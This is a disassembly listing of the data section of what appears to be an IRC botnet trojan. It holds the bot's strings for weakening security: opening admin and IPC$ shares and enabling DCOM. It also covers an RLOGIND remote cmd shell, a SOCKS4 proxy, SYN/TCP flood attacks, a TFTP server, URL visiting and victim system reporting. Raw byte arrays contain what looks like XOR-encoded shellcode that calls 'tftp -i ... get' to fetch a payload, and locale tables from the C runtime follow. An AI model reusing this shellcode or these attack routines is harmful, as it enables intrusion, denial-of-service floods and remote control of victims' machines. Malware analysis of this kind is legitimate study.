aSecureNetworkS db '[SECURE]: Network shares deleted.',0 ; DATA XREF: sub_413B31+2CFo
align 4
aSecureNetapi32 db '[SECURE]: Netapi32.dll couldn',27h,'t be loaded.',0
; DATA XREF: sub_413B31+2E5o
align 10h
word_442060 dw 59h ; DATA XREF: sub_413E55+38r
align 4
aEnabledcom_0 db 'EnableDCOM',0 ; DATA XREF: sub_413E55+54o
align 10h
aSecureEnableDc db '[SECURE]: Enable DCOM failed.',0 ; DATA XREF: sub_413E55+66o
align 10h
aSecureDcomEnab db '[SECURE]: DCOM enabled.',0 ; DATA XREF: sub_413E55:loc_413EC2o
aSecureFailed_6 db '[SECURE]: Failed to open DCOM registry key.',0
; DATA XREF: sub_413E55+91o
aRestrictanon_0 db 'restrictanonymous',0 ; DATA XREF: sub_413E55+EDo
align 4
aSecureFailed_7 db '[SECURE]: Failed to unrestrict access to the IPC$ Share.',0
; DATA XREF: sub_413E55+102o
align 4
aSecureUnrestri db '[SECURE]: Unrestricted access to the IPC$ Share.',0
; DATA XREF: sub_413E55:loc_413F5Eo
align 4
aSecureFailed_8 db '[SECURE]: Failed to open IPC$ restriction registry key.',0
; DATA XREF: sub_413E55:loc_413F7Co
aSecureAdvapi_0 db '[SECURE]: Advapi32.dll couldn',27h,'t be loaded.',0
; DATA XREF: sub_413E55:loc_413F83o
align 4
aSecureShareSAd db '[SECURE]: Share ',27h,'%s',27h,' added.',0 ; DATA XREF: sub_413E55+192o
aSecureFailed_9 db '[SECURE]: Failed to add ',27h,'%s',27h,' share.',0
; DATA XREF: sub_413E55:loc_413FEEo
aC_0 db '%c$',0 ; DATA XREF: sub_413E55+216o
aC_1 db '%c:\',0 ; DATA XREF: sub_413E55+227o
align 4
aSecureShareS_1 db '[SECURE]: Share ',27h,'%s',27h,' added.',0 ; DATA XREF: sub_413E55+263o
aSecureFaile_10 db '[SECURE]: Failed to add ',27h,'%s',27h,' share.',0
; DATA XREF: sub_413E55:loc_4140BFo
aSecureNetwor_0 db '[SECURE]: Network shares added.',0 ; DATA XREF: sub_413E55+2C0o
aSecureNetapi_0 db '[SECURE]: Netapi32.dll couldn',27h,'t be loaded.',0
; DATA XREF: sub_413E55+2D8o
align 4
aRlogindFaile_2 db '[RLOGIND]: Failed to create ReadShell session thread, error: <%d>'
; DATA XREF: sub_41416C+59o
db '.',0
align 4
aRlogindFaile_3 db '[RLOGIND]: Failed to create ReadShell session thread, error: <%d>'
; DATA XREF: sub_41416C+8Bo
db '.',0
align 4
aRlogindWaitfor db '[RLOGIND]: WaitForMultipleObjects error: <%d>.',0
; DATA XREF: sub_41416C+DEo
align 4
aRlogindFaile_4 db '[RLOGIND]: Failed to create shell stdout pipe, error: <%d>.',0
; DATA XREF: sub_4142BD+5Co
aRlogindFaile_5 db '[RLOGIND]: Failed to create shell stdin pipe, error: <%d>.',0
; DATA XREF: sub_4142BD+7Eo
align 4
aRlogindFaile_6 db '[RLOGIND]: Failed to execute shell.',0 ; DATA XREF: sub_4142BD+AFo
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_4143B6+8Co
align 10h
aRlogindFaile_7 db '[RLOGIND]: Failed to execute shell, error: <%d>.',0
; DATA XREF: sub_4143B6+C3o
align 4
aRlogindSession db '[RLOGIND]: SessionReadShellThread exited, error: <%ld>.',0
; DATA XREF: sub_41448F+A1o
dword_44245C dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_4147FB+C4o
db 66h, 0B9h
word_44246A dw 0FFFFh ; DATA XREF: sub_4147FB+CCw
db 80h, 73h, 0Eh
byte_44246F db 0FFh ; DATA XREF: sub_4147FB+D3w
dd 0F9E243h
dword_442474 dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_4147FB+A2o
db 0B1h
byte_442481 db 0FFh ; DATA XREF: sub_4147FB+AAw
dw 7380h
db 0Ch
byte_442485 db 0FFh ; DATA XREF: sub_4147FB+B0w
dw 0E243h
dd 0F9h
dword_44248C dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_414684+57o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_4424F0 dd 12h ; DATA XREF: sub_414684+3Dw
dd 70746674h, 6578652Eh, 20692D20h
aGet_1 db ' get ',0 ; DATA XREF: sub_414684+79o
aJ_0 db 'j',0
db 0E8h
dword_442509 dd 17h ; DATA XREF: sub_414684+4Dw
db 75h, 1, 0C3h
db 0E8h
dword_442511 dd 1 ; DATA XREF: sub_414684+45w
byte_442515 db 0, 6Ah, 0 ; DATA XREF: sub_414684+C2o
dd 7E8h
db 0, 0Fh, 84h
dword_44251F dd 0FFFFFFEDh ; DATA XREF: sub_414684+5Dw
db 0C3h
dd 505D5B58h, 3354EC83h, 8DFC8BC0h, 0D78B4048h, 44B0AAF3h
dd 515257ABh, 6A286A51h, 55515101h, 83D6FF53h, 0C08554C4h
dd 0C3h
aSocks4Server_0 db '[SOCKS4]: Server started on: %s:%d.',0 ; DATA XREF: sub_414902+A8o
aSocks4ClientCo db '[SOCKS4]: Client connection from IP: %s:%d, Server thread: %d.',0
; DATA XREF: sub_414902+114o
align 4
aSocks4Failed_0 db '[SOCKS4]: Failed to start client thread, error: <%d>.',0
; DATA XREF: sub_414902+18Fo
align 4
aSocks4Failed_1 db '[SOCKS4]: Failed to start server on Port %d.',0
; DATA XREF: sub_414902+1B2o
align 4
aSocks4Authenti db '[SOCKS4]: Authentication failed. Remote userid: %s != %s.',0
; DATA XREF: sub_414B07+F2o
align 4
aSocks4ErrorFai db '[SOCKS4]: Error: Failed to open socket(), returned: <%d>.',0
; DATA XREF: sub_414B07+18Ao
align 4
aSocks4ErrorF_0 db '[SOCKS4]: Error: Failed to connect to target, returned: <%d>.',0
; DATA XREF: sub_414B07+1F9o
align 4
aSynDoneWithFlo db '[SYN]: Done with flood (%iKB/sec).',0 ; DATA XREF: sub_414ECB+48o
align 4
aSynSendErrorD_ db '[SYN]: Send error: <%d>.',0 ; DATA XREF: sub_414F67+27Do
align 4
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_415273+52o
a95_0 db '95',0 ; DATA XREF: sub_415430+46o
align 4
aNt_0 db 'NT',0 ; DATA XREF: sub_415430+5Ao
align 4
a98_0 db '98',0 ; DATA XREF: sub_415430+6Co
align 4
aMe_1 db 'ME',0 ; DATA XREF: sub_415430+7Eo
align 10h
a2k_0 db '2K',0 ; DATA XREF: sub_415430+98o
align 4
aXp_0 db 'XP',0 ; DATA XREF: sub_415430+AAo
align 4
a2003 db '2003',0 ; DATA XREF: sub_415430+BAo
align 10h
a???_0 db '???',0 ; DATA XREF: sub_415430:loc_4154F3o
aSS_12 db '%s (%s)',0 ; DATA XREF: sub_415430+EBo
word_44274C dw 3Fh ; DATA XREF: sub_415430:loc_415532r
align 10h
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_415430:loc_415594o
align 4
aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_415430+192o
aHhMmSs_0 db 'HH:mm:ss',0 ; DATA XREF: sub_415430+1AEo
align 10h
aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
; DATA XREF: sub_415430+297o
db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
db ' %s. [Uptime]: %s.',0
align 4
aNotConnected db 'Not connected',0 ; DATA XREF: sub_4156E4+48o
align 4
aDialUp db 'Dial-up',0 ; DATA XREF: sub_4156E4+5Bo
aLan db 'LAN',0 ; DATA XREF: sub_4156E4:loc_415751o
off_442874 dd offset loc_412F49+5 ; DATA XREF: sub_4156E4+77o
off_442878 dd offset loc_412F49+5 ; DATA XREF: sub_4156E4+88o
aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
; DATA XREF: sub_4156E4+AEo
align 4
aTcpErrorSocket db '[TCP]: Error: socket() failed, returned: <%d>.',0
; DATA XREF: sub_4157B0+70o
align 4
aTcpErrorSetsoc db '[TCP]: Error: setsockopt() failed, returned: <%d>.',0
; DATA XREF: sub_4157B0+EEo
align 10h
aTcpInvalidTarg db '[TCP]: Invalid target IP.',0 ; DATA XREF: sub_4157B0+15Fo
align 4
aSyn_2 db 'syn',0 ; DATA XREF: sub_4157B0+2D2o
aAck_0 db 'ack',0 ; DATA XREF: sub_4157B0+2F2o
aRandom_2 db 'random',0 ; DATA XREF: sub_4157B0+312o
align 4
aTcpErrorSendin db '[TCP]: Error sending packets to IP: %s. Packets sent: %d. Returne'
; DATA XREF: sub_4157B0+44Fo
db 'd: <%d>.',0
align 4
aTcpDoneWithSFl db '[TCP]: Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/se'
; DATA XREF: sub_4157B0+4EBo
db 'c (%dMB).',0
align 4
aOctet db 'octet',0 ; DATA XREF: sub_415CF4+Fo
align 4
aTftpErrorSocke db '[TFTP]: Error: socket() failed, returned: <%d>.',0
; DATA XREF: sub_415CF4+6Ao
aRb_1 db 'rb',0 ; DATA XREF: sub_415CF4+12Eo
align 10h
aTftpFailedToOp db '[TFTP]: Failed to open file: %s.',0 ; DATA XREF: sub_415CF4+15Ao
align 4
dword_442A44 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh
; DATA XREF: sub_415CF4+399o
aTftpFileNotFou db '[TFTP]: File not found: %s (%s).',0 ; DATA XREF: sub_415CF4+3B6o
align 4
aTftpFileTran_1 db '[TFTP]: File transfer started to IP: %s (%s).',0
; DATA XREF: sub_415CF4+33Eo
align 4
aTftpFileTran_2 db '[TFTP]: File transfer complete to IP: %s (%s).',0
; DATA XREF: sub_415CF4+47Fo
align 4
dword_442ADC dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_415CF4+493o
aThreadList db '-[Thread List]-',0 ; DATA XREF: sub_4162A8+10o
aD_S_0 db '%d. %s',0 ; DATA XREF: sub_4162A8+46o
align 10h
aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_416479+35o
aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_416479+51o
asc_442B40 db '*/*',0 ; DATA XREF: sub_416544+3Bo
aVisitInvalidUr db '[VISIT]: Invalid URL.',0 ; DATA XREF: sub_416544+1A0o
align 4
aVisitCouldNotO db '[VISIT]: Could not open a connection.',0
; DATA XREF: sub_416544:loc_4166F6o
align 4
aVisitFailedToC db '[VISIT]: Failed to connect to HTTP server.',0
; DATA XREF: sub_416544:loc_4166FDo
align 10h
aVisitUrlVisite db '[VISIT]: URL visited.',0 ; DATA XREF: sub_416544+18Co
align 4
aVisitFailedToG db '[VISIT]: Failed to get requested URL from HTTP server.',0
; DATA XREF: sub_416544:loc_4166D7o
align 10h
dword_442C00 dd 1 ; DATA XREF: sub_416B00+10r
; sub_416B00+F2r ...
dword_442C04 dd 24h ; DATA XREF: sub_416B00:loc_416B4Cr
; sub_416B00:loc_416CB5r ...
dword_442C08 dd 0FFFFFFFFh ; DATA XREF: sub_416B00+58r
; sub_416F00+9Er ...
byte_442C0C db 0FDh ; DATA XREF: sub_416B00+2B7r
; sub_416B00+2D1r ...
byte_442C0D db 0DDh ; DATA XREF: sub_4174F0+257r
; sub_4174F0+39Br ...
byte_442C0E db 0CDh ; DATA XREF: sub_416B00+2F1r
; sub_416F00+377r
align 10h
off_442C10 dd offset aFree ; DATA XREF: sub_4174F0+177r
; sub_4174F0+1DDr ...
; "Free"
dd offset aNormal_0 ; "Normal"
dd offset aCrt ; "CRT"
dd offset aIgnore ; "Ignore"
dd offset aClient ; "Client"
align 10h
dd 9875h, 9873h
off_442C38 dd offset sub_41A330 ; DATA XREF: sub_41B2D0+3r
; sub_41B2D0+Cr
dd offset sub_41A360
dd offset sub_41A360
align 10h
off_442C50 dd offset sub_41B330 ; DATA XREF: sub_41BAE0+22r
dword_442C54 dd 2 ; DATA XREF: sub_426060+15r
; sub_4260B0+86r ...
dword_442C58 dd 0 ; DATA XREF: sub_41BBF0+1Fr
; sub_41BBF0+44r ...
off_442C5C dd offset dword_4920F0 ; DATA XREF: sub_41BBB0+29r
; sub_41BBF0+8Fr
dd 7 dup(0)
off_442C7C dd offset dword_492120 ; DATA XREF: sub_41BBB0+1Cr
; sub_41BBF0:loc_41BC59r
dd 3 dup(0)
off_442C8C dd offset dword_492138 ; DATA XREF: sub_41BBB0+Fr
; sub_41BBF0+75r
dd 3 dup(0)
off_442C9C dd offset dword_492108 ; DATA XREF: sub_41BBB0+3r
; sub_41BBF0+82r
dd 7 dup(0)
dd 950B40h, 16h dup(0)
off_442D18 dd offset sub_41BE60 ; DATA XREF: sub_416B00+79r
; sub_416F00+C1r ...
dword_442D1C dd 0FFFFFFFFh ; DATA XREF: sub_41BF80+80o
; sub_41BF80+108o ...
dword_442D20 dd 2 ; DATA XREF: .text:0041BE9Er
; .text:0041BEB9r ...
dd 2 dup(4)
dword_442D2C dd 0FFFFFFFFh ; DATA XREF: .text:0041BF00r
; .text:0041BF0Cr ...
dd 2 dup(0FFFFFFFFh)
off_442D38 dd offset aWarning ; DATA XREF: sub_41C310+284r
; "Warning"
dd offset aError ; "Error"
dd offset aAssertionFai_1 ; "Assertion Failed"
dd 10h
dword_442D48 dd 3F8h ; DATA XREF: sub_41BDF0+7r
; sub_41C620+3Cr ...
off_442D4C dd offset word_442D56 ; DATA XREF: sub_418730+7Cr
; sub_4194F0+2Dr ...
off_442D50 dd offset word_442D56 ; DATA XREF: sub_42A890+2A4w
; sub_42A890+35Bw ...
db 2 dup(0)
word_442D56 dw 20h ; DATA XREF: sub_42A890:loc_42ABE1o
; sub_42A890+35Bo ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_442F58 dd 1 ; DATA XREF: sub_418730+4Er
; sub_4194F0:loc_4194F6r ...
byte_442F5C db 2Eh ; DATA XREF: sub_41FBE0:loc_420A67r
; sub_41FBE0+ED2r ...
align 10h
dword_442F60 dd 1 ; DATA XREF: sub_42A100+169w
; sub_42A100+296w
off_442F64 dd offset aNull ; DATA XREF: sub_41EA90:loc_41EED2r
; sub_41EA90+57Cr
; "(null)"
off_442F68 dd offset aNull_0 ; DATA XREF: sub_41EA90+514r
; "(null)"
dword_442F6C dd 2 ; DATA XREF: sub_41F930+Fw
; sub_41F930+14r ...
asc_442F70 db ' ',9,'-',0Dh,']',0 ; DATA XREF: sub_41FBE0:loc_420002o
align 4
asc_442F78: ; DATA XREF: sub_41FBE0:loc_41FFDDo
unicode 0, <]>,0
align 10h
off_442F80 dd offset dword_492760 ; DATA XREF: sub_4210E0+B3o
; sub_421230+3o ...
align 8
dd offset dword_492760
dd 101h
dword_442F90 dd 0FFFFFFFFh ; DATA XREF: sub_4210E0+11Cw
dd 0
dd 1000h, 0
dword_442FA0 dd 3 dup(0) ; DATA XREF: sub_41E810+111o
; sub_423FC0:loc_424013o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_442FC0 dd 3 dup(0) ; DATA XREF: sub_41E810+11Ao
; sub_423FC0:loc_424025o
dd 2, 0FFFFFFFFh, 83h dup(0)
dword_4431E0 dd 8 dup(0) ; DATA XREF: sub_421230+Co
; sub_4212A0+Co
off_443200 dd offset sub_422DF0 ; DATA XREF: sub_41A370+3w
; sub_41EA90+6ADr
off_443204 dd offset sub_422800 ; DATA XREF: sub_41A370+Dw
; sub_41EA90+6F1r
off_443208 dd offset sub_422910 ; DATA XREF: sub_41A370+17w
; sub_41FBE0+1138r
off_44320C dd offset sub_422750 ; DATA XREF: sub_41A370+21w
; sub_41EA90+6CFr
off_443210 dd offset sub_4228E0 ; DATA XREF: sub_41A370+2Bw
off_443214 dd offset sub_422DF0 ; DATA XREF: sub_41A370+35w
dword_443218 dd 1 ; DATA XREF: sub_422E80+2Cr
dword_44321C dd 16h ; DATA XREF: sub_422E80+3Dr
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_443380 dd 43h ; DATA XREF: sub_423690:loc_4237FCo
; .data:004434A0o ...
dword_443384 dd 43h, 20h dup(0) ; DATA XREF: sub_423930+8Do
; sub_423930+117o ...
dword_443408 dd 43h, 21h dup(0) ; DATA XREF: sub_423930+74o
; sub_423930+FCo ...
off_443490 dd offset aLc_all ; DATA XREF: .text:0042341Fr
; .text:00423438r ...
; "LC_ALL"
dword_443494 dd 0 ; DATA XREF: .text:00423317r
; .text:004235C0r ...
off_443498 dd offset sub_423AC0 ; DATA XREF: sub_423690+12Br
dd offset aLc_collate ; "LC_COLLATE"
dd offset dword_443380
dd offset sub_42AC30
dd offset dword_433020+38h
off_4434AC dd offset dword_443380 ; DATA XREF: sub_423830+F0r
dd offset sub_42A890
dd offset dword_433020+2Ch
dd offset dword_443380
dd offset sub_42A430
dd offset dword_433020+20h
dd offset dword_443380
dd offset sub_42A100
dd offset dword_433020+18h
dd offset dword_443380
dd offset sub_429780
byte_4434D8 db 1 ; DATA XREF: sub_4241C0+12Fr
db 2, 4, 8
align 10h
dword_4434E0 dd 3A4h ; DATA XREF: sub_4241C0+7Er
word_4434E4 dw 8260h ; DATA XREF: sub_4241C0+192r
dw 8279h
dd 21h, 0
dword_4434F0 dd 0DFA6h ; DATA XREF: sub_4241C0+D5r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_4435D0 dd 0C0000005h, 0Bh, 0 ; DATA XREF: sub_41F9F0+6o
; .text:0041FB7Eo ...
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
dd 0C000008Dh, 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
dd 0C0000090h, 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_443648 dd 3 ; DATA XREF: sub_424F60+98r
; sub_424F60:loc_42500Br ...
dword_44364C dd 7 ; DATA XREF: sub_424F60+B1r
; sub_426880+17Dr
dword_443650 dd 78h ; DATA XREF: .text:004266F8r
; .text:00426716r
dword_443654 dd 0Ah ; DATA XREF: sub_425120+1Dr
; sub_425120:loc_425152r ...
dword_443658 dd 0FFFFFFFFh, 0A00h, 7 dup(0) ; DATA XREF: sub_41E810:loc_41EA09o
; sub_421790:loc_4218E6o
dword_44367C dd 19930520h, 4 dup(0) ; DATA XREF: .text:00425F5Bo
; sub_425F62+2o
dword_443690 dd 2 ; DATA XREF: sub_4260B0+2Ar
; sub_4260B0+3Dr ...
off_443694 dd offset aR6002FloatingP ; DATA XREF: sub_4260B0+56r
; sub_4260B0+98r ...
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 43332Ch, 9, 433300h, 0Ah, 4332DCh, 10h, 4332B0h
dd 11h, 433280h, 12h, 43325Ch, 13h, 433230h, 18h, 4331F8h
dd 19h, 4331D0h, 1Ah, 433198h, 1Bh, 433160h, 1Ch, 433138h
dd 78h, 433128h, 79h, 433118h, 7Ah, 433108h, 0FCh, 433104h
dd 0FFh, 4330F4h
dword_443720 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4292C0+3o
dword_443738 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_4292E0+3o
dword_443750 dd 40Ah ; DATA XREF: sub_42B7E0+3Er
; sub_42B7E0+147r
a040a db '040a',0 ; DATA XREF: sub_42B7E0+9Ao
align 4
off_44375C dd offset aSpanishTraditi ; DATA XREF: sub_42B7E0+ABr
; "Spanish - Traditional Sort"
dword_443760 dd 505345h ; DATA XREF: sub_42B7E0+BCo
off_443764 dd offset aSpain ; DATA XREF: sub_42B7E0+CDr
; "Spain"
dword_443768 dd 505345h ; DATA XREF: sub_42B7E0+DEo
dword_44376C dd 303538h, 0 ; DATA XREF: sub_42B7E0+EFo
a1252 db '1252',0 ; DATA XREF: sub_42B7E0+100o
align 4
dd 40Bh, 62303430h, 0
dd offset aFinnish ; "Finnish"
dd 4E4946h, 4335D4h, 4E4946h, 303538h, 0
a1252_0 db '1252',0
align 4
dd 40Ch, 63303430h, 0
dd offset aFrench ; "French"
dd offset loc_415243+3
dd offset aFrance ; "France"
dd offset loc_415243+3
dd 303538h, 0
a1252_1 db '1252',0
align 4
dd 40Fh, 66303430h, 0
dd offset aIcelandic ; "Icelandic"
dd 4C5349h, 4335B0h, 4C5349h, 303538h, 0
a1252_2 db '1252',0
align 10h
dd 41Dh, 64313430h, 0
dd offset aSwedish ; "Swedish"
dd offset byte_455653
dd offset aSweden ; "Sweden"
dd offset byte_455753
dd 303538h, 0
a1252_3 db '1252',0
align 4
dd 42Dh, 64323430h, 0
dd offset aBasque ; "Basque"
dd 515545h, 4335E4h, 505345h, 303538h, 0
a1252_4 db '1252',0
align 4
db 0Ah
db 8,0
align 4
a080a db '080a',0
align 4
dd offset aSpanish ; "Spanish"
dd 4D5345h, 433588h, 58454Dh, 303538h, 0
a1252_5 db '1252',0
align 4
dd 80Ch, 63303830h, 0
dd offset aFrench ; "French"
dd offset loc_425246
dd offset aBelgium ; "Belgium"
dd 4C4542h, 303538h, 0
a1252_6 db '1252',0
align 10h
dd 0C07h, 37306330h, 0
dd offset aGerman ; "German"
dd offset loc_414544
dd offset aAustria ; "Austria"
dd 545541h, 303538h, 0
a1252_7 db '1252',0
align 4
dd 0C09h, 39306330h, 0
dd offset aEnglish ; "English"
dd offset loc_414E40+5
dd offset aAustralia ; "Australia"
dd 535541h, 303538h, 0
a1252_8 db '1252',0
align 4
dd 0C0Ah, 61306330h, 0
dd offset aSpanishModernS ; "Spanish - Modern Sort"
dd 4E5345h, 4335E4h, 505345h, 303538h, 0
a1252_9 db '1252',0
align 4
dd 0C0Ch, 63306330h, 0
dd offset aFrench ; "French"
dd offset dword_435230+16h
dd offset aCanada ; "Canada"
dd 4E4143h, 303538h, 0
a1252_10 db '1252',0
align 10h
dd 100Ah, 61303031h, 0
dd offset aSpanish ; "Spanish"
dd offset byte_475345
dd offset aGuatemala ; "Guatemala"
dd 4D5447h, 303538h, 0
a1252_11 db '1252',0
align 4
dd 100Ch, 63303031h, 0
dd offset aFrench ; "French"
dd 535246h, 433524h, 454843h, 303538h, 0
a1252_12 db '1252',0
align 4
dd 140Ah, 61303431h, 0
dd offset aSpanish ; "Spanish"
dd offset dword_43533C+9
dd offset aCostaRica ; "Costa Rica"
dd offset byte_495243
dd 303538h, 0
a1252_13 db '1252',0
align 4
dd 140Ch, 63303431h, 0
dd offset aFrench ; "French"
dd 4C5246h, 43350Ch, 58554Ch, 303538h, 0
a1252_14 db '1252',0
align 10h
dd 180Ah, 61303831h, 0
dd offset aSpanish ; "Spanish"
dd offset loc_415345
dd offset aPanama ; "Panama"
dd 4E4150h, 303538h, 0
a1252_15 db '1252',0
align 4
dd 1C09h, 39306331h, 0
dd offset aEnglish ; "English"
dd 534E45h, 4334F4h, 46415Ah, 373334h, 0
a1252_16 db '1252',0
align 4
dd 1C0Ah, 61306331h, 0
dd offset aSpanish ; "Spanish"
dd offset byte_445345
dd offset aDominicanRepub ; "Dominican Republic"
dd 4D4F44h, 303538h, 0
a1252_17 db '1252',0
align 4
db 0Ah
db ' ',0
align 4
a200a db '200a',0
align 10h
dd offset aSpanish ; "Spanish"
dd 565345h, 4334D4h, 4E4556h, 303538h, 0
a1252_18 db '1252',0
align 10h
db 0Ah
db '$',0
align 4
a240a db '240a',0
align 4
dd offset aSpanish ; "Spanish"
dd 4F5345h, 4334C8h, 4C4F43h, 303538h, 0
a1252_19 db '1252',0
align 4
db 0Ah
db '(',0
align 10h
a280a db '280a',0
align 4
dd offset aSpanish ; "Spanish"
dd 525345h, 4334C0h, 524550h, 303538h, 0
a1252_20 db '1252',0
align 4
db 0Ah
db ',',0
align 4
a2c0a db '2c0a',0
align 4
dd offset aSpanish ; "Spanish"
dd 535345h, 4334B4h, 475241h, 303538h, 0
a1252_21 db '1252',0
align 4
a0 db 0Ah
db '0',0
align 4
a300a db '300a',0
align 10h
dd offset aSpanish ; "Spanish"
dd offset byte_465345
dd offset aEcuador ; "Ecuador"
dd 554345h, 303538h, 0
a1252_22 db '1252',0
align 10h
a4 db 0Ah
db '4',0
align 4
a340a db '340a',0
align 4
dd offset aSpanish ; "Spanish"
dd 4C5345h, 4334A4h, 4C4843h, 303538h, 0
a1252_23 db '1252',0
align 4
a8 db 0Ah
db '8',0
align 10h
a380a db '380a',0
align 4
dd offset aSpanish ; "Spanish"
dd 595345h, 43349Ch, 595255h, 303538h, 0
a1252_24 db '1252',0
align 4
db 0Ah
db '<',0
align 4
a3c0a db '3c0a',0
align 4
dd offset aSpanish ; "Spanish"
dd 5A5345h, 433490h, 595250h, 303538h, 0
a1252_25 db '1252',0
align 4
word_443BF4 dw 0C0Ch ; DATA XREF: sub_42B6B0+34r
dw 0C1Ah
dd 4361007h, 42D080Ch, 100C0403h, 81D0810h
off_443C08 dd offset aAmerica ; DATA XREF: sub_42ACC0+9Co
; "america"
dd offset loc_415354+1
dd offset aBritain ; "britain"
dd 524247h, 4336E4h, 4E4843h, 4336DCh, 455A43h, 4336D4h
dd 524247h, 4336C4h, 524247h, 4336BCh, 444C4Eh, 4336B0h
dd 474B48h, 4336A4h, 4C5A4Eh, 4336A0h, 4C5A4Eh, 433694h
dd 4E4843h, 433688h, 4E4843h, 43367Ch, 495250h, 433674h
dd 4B5653h, 433664h, 46415Ah, 433658h, 524F4Bh, 433648h
dd 46415Ah, 43363Ch, 524F4Bh, 433628h, 4F5454h, 433704h
dd 524247h, 433618h, 524247h, 433608h, 415355h, 433700h
dd 415355h
off_443CC0 dd offset aAmerican ; DATA XREF: sub_42ACC0+67o
; "american"
dd 554E45h, 433AF0h, 554E45h, 433ADCh, 554E45h, 433AD0h
dd 414E45h, 433AC8h, 424C4Eh, 433ABCh, 434E45h, 433AB8h
dd 48485Ah, 433AB4h, 49485Ah, 433AACh, 534843h, 433A98h
dd 48485Ah, 433A84h, 534843h, 433A70h, 49485Ah, 433A5Ch
dd 544843h, 433A4Ch, 424C4Eh, 433A38h, 554E45h, 433A2Ch
dd 414E45h, 433A1Ch, 4C4E45h, 433A10h, 434E45h, 4339FCh
dd 424E45h, 4339F0h, 494E45h, 4339E0h, 4A4E45h, 4339D4h
dd 5A4E45h, 4339BCh, 534E45h, 4339A0h, 544E45h, 433994h
dd 474E45h, 433988h, 554E45h, 43397Ch, 554E45h, 43396Ch
dd 425246h, 43395Ch, 435246h, 433948h, 4C5246h, 433938h
dd 535246h, 433928h, 414544h, 433914h, 434544h, 433900h
dd 4C4544h, 4338F0h, 534544h, 4338E0h, 494E45h, 4338D0h
dd 535449h, 4338C4h, 524F4Eh, 4338B0h, 524F4Eh, 43389Ch
dd 4E4F4Eh, 433884h, 425450h, 433870h, 535345h, 433860h
dd 425345h, 433850h, 4C5345h, 43383Ch, 4F5345h, 433828h
dd 435345h, 43380Ch, 445345h, 4337FCh, 465345h, 4337E8h
dd 455345h, 4337D4h, 475345h, 4337C0h, 485345h, 4337B0h
dd 4D5345h, 4337A0h, 4E5345h, 43378Ch, 495345h, 43377Ch
dd 415345h, 433768h, 5A5345h, 433758h, 525345h, 433744h
dd 555345h, 433734h, 595345h, 433720h, 565345h, 433710h
dd 465653h, 433708h, 534544h, 433704h, 474E45h, 433700h
dd 554E45h, 4336FCh, 554E45h
dword_443EC8 dd 7080h ; DATA XREF: sub_423ED0+92r
; sub_42BAC0+80w ...
dword_443ECC dd 1 ; DATA XREF: sub_423ED0+C2r
; sub_42BAC0+BFw ...
dword_443ED0 dd 0FFFFF1F0h ; DATA XREF: sub_423ED0+DEr
; sub_42BAC0+D7w ...
dword_443ED4 dd 545350h, 0Fh dup(0) ; DATA XREF: .data:off_443F54o
